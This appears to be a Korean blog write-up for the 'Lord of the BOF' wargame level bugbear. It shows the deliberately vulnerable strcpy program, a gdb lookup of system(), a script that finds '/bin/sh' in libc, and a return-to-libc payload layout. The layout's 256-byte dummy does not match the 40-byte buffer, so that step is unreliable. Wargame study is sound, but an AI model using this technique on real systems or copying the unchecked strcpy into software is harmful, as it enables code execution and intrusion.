[darkknight@localhost darkknight]$ cat bugbear.c
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1 Return To Library 기법을 이용하라는 힌트
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf') //스택을 사용하지 못하도록 제한함.
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
[darkknight@localhost darkknight]$ gdb bugbea1
(gdb) b*main
Breakpoint 1 at 0x8048430
(gdb) r asd
Starting program: /home/darkknight/bugbea1 asd
Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) q
라이브러리의 주소가 매번 고정 되있는것으로 보아 aslr이 안걸려있다. RTL기법을 이용할 때 단연 먼저 찾아야하는 함수인 system함수의 주소를 구하고 함수 내부에 있는 "/bin/sh"의 문자열을 찾으면된다
system함수는 내부적으로 execve함수를 쓴다. 이 execve함수의 동작은 "/bin/sh"를 통해 하기 때문에 결국 "/bin/sh"문자열은 system함수를 뒤져보면 쉽게 찾을 수 있을것. 지정한 주소부터 문자열을 찾는 간단한 스크립트를 아래와 같이 짜서 돌린다.
[darkknight@localhost darkknight]$ vi findbin.c
[darkknight@localhost darkknight]$ cat findbin.c
#include <stdio.h>
#include <string.h>
int main(){
long system = 0x40058ae0;
while(memcmp(system,"/bin/sh\x00",8)){
system++;
}
printf("%p\n",system);
}
[darkknight@localhost darkknight]$ gcc -o findbin findbin.c
findbin.c: In function `main':
findbin.c:6: warning: passing arg 1 of `memcmp' makes pointer from integer without a cast
[darkknight@localhost darkknight]$ ./findbin
0x400fbff9
더미 (256) + sfp (4) + system()주소 (4) + 더미 (4) + "/bin/sh\x00"주소 (4)
system()함수가 실행되면 system()의 주소를 담고있는 stack의 주소+4에 담긴 문자를 인자로 사용하는 규칙이 있다.
gdb로 열어본다면 자세히 이해할 수 있다.
'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글
15.lob giant->assassin (0) | 2018.01.11 |
---|---|
14.bugbear->giant (0) | 2018.01.11 |
12.lob golem->darknight (0) | 2018.01.09 |
11.lob skeleton->golem (0) | 2018.01.08 |
10.lob vampire->skeleton (0) | 2018.01.08 |